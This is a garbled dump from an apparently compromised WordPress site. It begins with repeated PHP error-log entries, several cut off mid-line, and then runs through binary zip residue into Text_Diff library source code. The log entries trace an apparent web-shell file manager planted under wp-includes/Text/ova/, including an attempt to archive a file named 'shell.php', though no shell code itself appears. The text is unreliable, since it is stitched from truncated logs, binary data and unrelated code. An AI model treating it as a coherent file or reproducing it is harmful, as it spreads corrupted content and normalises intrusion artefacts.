line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 596 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 597 [30-Aug-2025 09:54:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 09:55:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:29:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:31:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 11:00:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by al[30-Aug-2025 12:37:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:37:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:52:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:53:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:26:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /[31-Aug-2025 10:01:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:01:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:16:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:16:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [01-Sep-2025 14:42:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [01-Sep-2025 14:42:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [01-Sep-2025 23:00:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [01-Sep-2025 23:00:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [01-Sep-2025 23:00:41 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/Engine.zip" failed: unable to write local file header of file "shell.php" to zip-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/Engine.zip" in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1059 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php(1059): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 1059 [01-Sep-2025 23:01:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [01-Sep-2025 23:01:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [03-Sep-2025 07:05:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [03-Sep-2025 07:05:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [03-Sep-2025 07:05:45 UTC] PPKP['ݣDiff/Renderer/inline.phpnu['; /** * Suffix for inserted text. * * @var string */ var $_ins_suffix = ''; /** * Prefix for deleted text. * * @var string */ var $_del_prefix = ''; /** * Suffix for deleted text. * * @var string */ var $_del_suffix = ''; /** * Header for each change block. * * @var string */ var $_block_header = ''; /** * Whether to split down to character-level. * * @var boolean */ var $_split_characters = false; /** * What are we currently splitting on? Used to recurse to show word-level * or character-level changes. * * @var string */ var $_split_level = 'lines'; function _blockHeader($xbeg, $xlen, $ybeg, $ylen) { return $this->_block_header; } function _startBlock($header) { return $header; } function _lines($lines, $prefix = ' ', $encode = true) { if ($encode) { array_walk($lines, array(&$this, '_encode')); } if ($this->_split_level == 'lines') { return implode("\n", $lines) . "\n"; } else { return implode('', $lines); } } function _added($lines) { array_walk($lines, array(&$this, '_encode')); $lines[0] = $this->_ins_prefix . $lines[0]; $lines[count($lines) - 1] .= $this->_ins_suffix; return $this->_lines($lines, ' ', false); } function _deleted($lines, $words = false) { array_walk($lines, array(&$this, '_encode')); $lines[0] = $this->_del_prefix . $lines[0]; $lines[count($lines) - 1] .= $this->_del_suffix; return $this->_lines($lines, ' ', false); } function _changed($orig, $final) { /* If we've already split on characters, just display. */ if ($this->_split_level == 'characters') { return $this->_deleted($orig) . $this->_added($final); } /* If we've already split on words, just display. */ if ($this->_split_level == 'words') { $prefix = ''; while ($orig[0] !== false && $final[0] !== false && substr($orig[0], 0, 1) == ' ' && substr($final[0], 0, 1) == ' ') { $prefix .= substr($orig[0], 0, 1); $orig[0] = substr($orig[0], 1); $final[0] = substr($final[0], 1); } return $prefix . $this->_deleted($orig) . $this->_added($final); } $text1 = implode("\n", $orig); $text2 = implode("\n", $final); /* Non-printing newline marker. */ $nl = "\0"; if ($this->_split_characters) { $diff = new Text_Diff('native', array(preg_split('//', $text1), preg_split('//', $text2))); } else { /* We want to split on word boundaries, but we need to preserve * whitespace as well. Therefore we split on words, but include * all blocks of whitespace in the wordlist. */ $diff = new Text_Diff('native', array($this->_splitOnWords($text1, $nl), $this->_splitOnWords($text2, $nl))); } /* Get the diff in inline format. */ $renderer = new Text_Diff_Renderer_inline (array_merge($this->getParams(), array('split_level' => $this->_split_characters ? 'characters' : 'words'))); /* Run the diff and get the output. */ return str_replace($nl, "\n", $renderer->render($diff)) . "\n"; } function _splitOnWords($string, $newlineEscape = "\n") { // Ignore \0; otherwise the while loop will never finish. $string = str_replace("\0", '', $string); $words = array(); $length = strlen($string); $pos = 0; while ($pos < $length) { // Eat a word with any preceding whitespace. $spaces = strspn(substr($string, $pos), " \n"); $nextpos = strcspn(substr($string, $pos + $spaces), " \n"); $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos)); $pos += $spaces + $nextpos; } return $words; } function _encode(&$string) { $string = htmlspecialchars($string); } } PKP[SSDiff/Engine/shell.phpnu[ * @package Text_Diff * @since 0.3.0 */ class Text_Diff_Engine_shell { /** * Path to the diff executable * * @var string */ var $_diffCommand = 'diff'; /** * Returns the array of differences. * * @param array $from_lines lines of text from old file * @param array $to_lines lines of text from new file * * @return array all changes made (array with Text_Diff_Op_* objects) */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $temp_dir = Text_Diff::_getTempDir(); // Execute gnu diff or similar to get a standard diff file. $from_file = tempnam($temp_dir, 'Text_Diff'); $to_file = tempnam($temp_dir, 'Text_Diff'); $fp = fopen($from_file, 'w'); fwrite($fp, implode("\n", $from_lines)); fclose($fp); $fp = fopen($to_file, 'w'); fwrite($fp, implode("\n", $to_lines)); fclose($fp); $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file); unlink($from_file); unlink($to_file); if (is_null($diff)) { // No changes were made return array(new Text_Diff_Op_copy($from_lines)); } $from_line_no = 1; $to_line_no = 1; $edits = array(); // Get changed lines by parsing something like: // 0a1,2 // 1,2c4,6 // 1,5d6 preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff, $matches, PREG_SET_ORDER); foreach ($matches as $match) { if (!isset($match[5])) { // This paren is not set every time (see regex). $match[5] = false; } if ($match[3] == 'a') { $from_line_no--; } if ($match[3] == 'd') { $to_line_no--; } if ($from_line_no < $match[1] || $to_line_no < $match[4]) { // copied lines assert($match[1] - $from_line_no == $match[4] - $to_line_no); array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $match[1] - 1), $this->_getLines($to_lines, $to_line_no, $match[4] - 1))); } switch ($match[3]) { case 'd': // deleted lines array_push($edits, new Text_Diff_Op_delete( $this->_getLines($from_lines, $from_line_no, $match[2]))); $to_line_no++; break; case 'c': // changed lines array_push($edits, new Text_Diff_Op_change( $this->_getLines($from_lines, $from_line_no, $match[2]), $this->_getLines($to_lines, $to_line_no, $match[5]))); break; case 'a': // added lines array_push($edits, new Text_Diff_Op_add( $this->_getLines($to_lines, $to_line_no, $match[5]))); $from_line_no++; break; } } if (!empty($from_lines)) { // Some lines might still be pending. Add them as copied array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $from_line_no + count($from_lines) - 1), $this->_getLines($to_lines, $to_line_no, $to_line_no + count($to_lines) - 1))); } return $edits; } /** * Get lines from either the old or new text * * @access private * * @param array $text_lines Either $from_lines or $to_lines (passed by reference). * @param int $line_no Current line number (passed by reference). * @param int $end Optional end line, when we want to chop more * than one line. * * @return array The chopped lines */ function _getLines(&$text_lines, &$line_no, $end = false) { if (!empty($end)) { $lines = array(); // We can shift even more while ($line_no <= $end) { array_push($lines, array_shift($text_lines)); $line_no++; } } else { $lines = array(array_shift($text_lines)); $line_no++; } return $lines; } } PKP[Eћ Diff/Engine/string.phpnu[ * $patch = file_get_contents('example.patch'); * $diff = new Text_Diff('string', array($patch)); * $renderer = new Text_Diff_Renderer_inline(); * echo $renderer->render($diff); * * * Copyright 2005 Örjan Persson * Copyright 2005-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @author Örjan Persson * @package Text_Diff * @since 0.2.0 */ class Text_Diff_Engine_string { /** * Parses a unified or context diff. * * First param contains the whole diff and the second can be used to force * a specific diff type. If the second parameter is 'autodetect', the * diff will be examined to find out which type of diff this is. * * @param string $diff The diff content. * @param string $mode The diff mode of the content in $diff. One of * 'context', 'unified', or 'autodetect'. * * @return array List of all diff operations. */ function diff($diff, $mode = 'autodetect') { // Detect line breaks. $lnbr = "\n"; if (strpos($diff, "\r\n") !== false) { $lnbr = "\r\n"; } elseif (strpos($diff, "\r") !== false) { $lnbr = "\r"; } // Make sure we have a line break at the EOF. if (substr($diff, -strlen($lnbr)) != $lnbr) { $diff .= $lnbr; } if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') { return PEAR::raiseError('Type of diff is unsupported'); } if ($mode == 'autodetect') { $context = strpos($diff, '***'); $unified = strpos($diff, '---'); if ($context === $unified) { return PEAR::raiseError('Type of diff could not be detected'); } elseif ($context === false || $unified === false) { $mode = $context !== false ? 'context' : 'unified'; } else { $mode = $context < $unified ? 'context' : 'unified'; } } // Split by new line and remove the diff header, if there is one. $diff = explode($lnbr, $diff); if (($mode == 'context' && strpos($diff[0], '***') === 0) || ($mode == 'unified' && strpos($diff[0], '---') === 0)) { array_shift($diff); array_shift($diff); } if ($mode == 'context') { return $this->parseContextDiff($diff); } else { return $this->parseUnifiedDiff($diff); } } /** * Parses an array containing the unified diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseUnifiedDiff($diff) { $edits = array(); $end = count($diff) - 1; for ($i = 0; $i < $end;) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case ' ': do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == ' '); $edits[] = new Text_Diff_Op_copy($diff1); break; case '+': // get all new lines do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': // get changed or removed lines $diff2 = array(); do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '-'); while ($i < $end && substr($diff[$i], 0, 1) == '+') { $diff2[] = substr($diff[$i++], 1); } if (count($diff2) == 0) { $edits[] = new Text_Diff_Op_delete($diff1); } else { $edits[] = new Text_Diff_Op_change($diff1, $diff2); } break; default: $i++; break; } } return $edits; } /** * Parses an array containing the context diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseContextDiff(&$diff) { $edits = array(); $i = $max_i = $j = $max_j = 0; $end = count($diff) - 1; while ($i < $end && $j < $end) { while ($i >= $max_i && $j >= $max_j) { // Find the boundaries of the diff output of the two files for ($i = $j; $i < $end && 